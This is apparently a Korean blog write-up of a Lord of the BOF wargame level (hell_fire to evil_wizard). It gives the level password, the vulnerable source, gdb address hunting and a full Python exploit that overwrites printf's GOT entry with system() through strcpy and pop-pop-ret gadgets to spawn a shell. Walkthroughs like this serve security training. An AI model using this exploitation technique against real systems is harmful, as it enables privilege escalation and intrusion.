728x90
반응형

해커스쿨 LOB FC3 [hell_fire -> evil_wizard] 풀이입니다.


ID | hell_fire

PW | sign me up


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합니다.




/*

The Lord of the BOF : The Fellowship of the BOF 

- evil_wizard

- Local BOF on Fedora Core 3 

- hint : GOT overwriting

*/


// magic potion for you

void pop_pop_ret(void)

{

asm("pop %eax");

asm("pop %eax");

asm("ret");

}

 

int main(int argc, char *argv[])

{

char buffer[256];

char saved_sfp[4];

int length; 


if(argc < 2){

printf("argv error\n");

exit(0);

}


// for disturbance RET sleding

length = strlen(argv[1]);

   

        // healing potion for you

        setreuid(geteuid(), geteuid());

        setregid(getegid(), getegid());


// save sfp 

memcpy(saved_sfp, buffer+264, 4);

 

// overflow!!

strcpy(buffer, argv[1]);


// restore sfp 

memcpy(buffer+264, saved_sfp, 4);


        // disturbance RET sleding

        memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length));


printf("%s\n", buffer);

}


got overwriting 이네요.

strcpy함수를 이용해서 printf got에 system함수 주소를 덮어쓰고, printf plt를 호출해 쉘을 띄울 수 있도록 하면 됩니다.


필요한 것들:

리턴주소 위치(buffer와의 거리)
printf .plt
printf .got
strcpy 
system
ppr(pop pop ret)
binsh


0x08048674 <main+288>: call   0x8048474 <_init+168>
0x08048679 <main+293>: add    esp,0x10
0x0804867c <main+296>: sub    esp,0x8
0x0804867f <main+299>: lea    eax,[ebp-264]
0x08048685 <main+305>: push   eax
0x08048686 <main+306>: push   0x8048784
0x0804868b <main+311>: call   0x8048424 <_init+88>
0x08048690 <main+316>: add    esp,0x10
0x08048693 <main+319>: leave  
0x08048694 <main+320>: ret    
0x08048695 <main+321>: nop    
0x08048696 <main+322>: nop    
0x08048697 <main+323>: nop    
End of assembler dump.

main 함수 마지막에 printf("%s\n", buffer); 가 실행되므로 0x8048424가 printf plt주소임을 알 수 있으며, 
<main+299> lea eax,[ebp-264] 을 통해  buffer의 위치를 알 수 있다. 
buffer[256] + dummy[8] +sfp[4] + ret[4]



0x0804861d <main+201>: lea    eax,[ebp-264]
0x08048623 <main+207>: push   eax
0x08048624 <main+208>: call   0x8048494 <_init+200>

위 쪽에서 strcpy함수 주소도 구할 수 있다.




(gdb) x/i 0x8048424

0x8048424 <_init+88>: jmp    ds:0x8049884


printf .got = 0x8049884




(gdb) disas pop_pop_ret 

Dump of assembler code for function pop_pop_ret:

0x0804854c <pop_pop_ret+0>: push   ebp

0x0804854d <pop_pop_ret+1>: mov    ebp,esp

0x0804854f <pop_pop_ret+3>: pop    eax

0x08048550 <pop_pop_ret+4>: pop    eax

0x08048551 <pop_pop_ret+5>: ret    

0x08048552 <pop_pop_ret+6>: leave  

0x08048553 <pop_pop_ret+7>: ret    

End of assembler dump.


ppr = 0x804854f



(gdb) b* main
Breakpoint 1 at 0x8048554
(gdb) r
Starting program: /home/hell_fire/evil_wizard 
(no debugging symbols found)...(no debugging symbols found)...
Breakpoint 1, 0x08048554 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x7507c0 <system>

system 함수 주소 0x007507c0

이 함수 주소가 되어줄 조각들의 주소를 구해주어야 한다.


[hell_fire@Fedora_1stFloor ~]$ objdump -s evil_wizard | grep "c0" --color=auto
 8048188 09000000 0a000000 0b000000 0c000000  ................
 80481e8 4c000000 00000000 27000000 12000000  L.......'.......
 80481f8 5c000000 00000000 ea000000 12000000  \...............
 8048208 6c000000 00000000 d9000000 12000000  l...............
 8048258 3c000000 00000000 51000000 12000000  <.......Q.......
 80483b4 98980408 07090000 9c980408 070c0000  ................
 80483cc 5589e583 ec08e8f1 000000e8 44010000  U...........D...
 8048414 ff258098 04086810 000000e9 c0ffffff  .%....h.........

c0 : 0x8048420



[hell_fire@Fedora_1stFloor ~]$ objdump -s evil_wizard | grep "07" --color=auto

 8048148 03000000 0f000000 0d000000 07000000  ................


07 : 0x8048154


[hell_fire@Fedora_1stFloor ~]$ objdump -s evil_wizard | grep "75" --color=auto
 8048114 2f6c6962 2f6c642d 6c696e75 782e736f  /lib/ld-linux.so
 80482c8 75696400 67657465 67696400 6d656d63  uid.getegid.memc

75 : 0x80482c8


[hell_fire@Fedora_1stFloor ~]$ objdump -s evil_wizard | grep "00" --color=auto
 8048124 2e3200                               .2.             
 8048128 04000000 10000000 01000000 474e5500  ............GNU.
 8048138 00000000 02000000 02000000 05000000  ................

00 : 0x8048138




"/bin/sh\x00" 문자열은 system함수 내부에 존재하므로, 코드를 돌려서 주소를 구해주면 된다.

find_binsh.c

1
2
3
4
5
6
7
8
9
#include "stdio.h"
#include "string.h"
 
int main(void){
 
        long shell = 0x7507c0;  // <=== system()함수의 주소
        while(memcmp((void*)shell,"/bin/sh\x00",8)) shell++;
        printf("\"bin/sh\" is at 0x%lx\n", shell);
}
cs


[hell_fire@Fedora_1stFloor ~]$ vi find_binsh.c

[hell_fire@Fedora_1stFloor ~]$ gcc -o find_binsh find_binsh.c 

[hell_fire@Fedora_1stFloor ~]$ ./find_binsh

"bin/sh" is at 0x833603


다 구해준 것 같다. 

이제 exploit 코드를 짜서 돌려주면 된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import os
import struct
 
p32 = lambda x: struct.pack("<I", x)
 
target = "/home/hell_fire/evil_wizard"
 
printf_plt = 0x8048424
printf_got = 0x8049884
strcpy_plt = 0x8048494
ppr = 0x804854f
 
binsh = 0x833603
 
payload = 'A' * 268
 
 
payload += p32(strcpy_plt)
payload += p32(ppr)
payload += p32(printf_got + 0)
payload += p32(0x8048420)
 
payload += p32(strcpy_plt)
payload += p32(ppr)
payload += p32(printf_got + 1)
payload += p32(0x8048154)
 
payload += p32(strcpy_plt)
payload += p32(ppr)
payload += p32(printf_got + 2)
payload += p32(0x80482c8)
 
payload += p32(strcpy_plt)
payload += p32(ppr)
payload += p32(printf_got + 3)
payload += p32(0x8048138)
 
payload += p32(printf_plt)
payload += "AAAA"
payload += p32(binsh)
 
os.execv(target, (target, payload[:-1]))
 
cs


sh-3.00$ my-pass
euid = 504
get down like that
sh-3.00$ 


728x90
반응형

+ Recent posts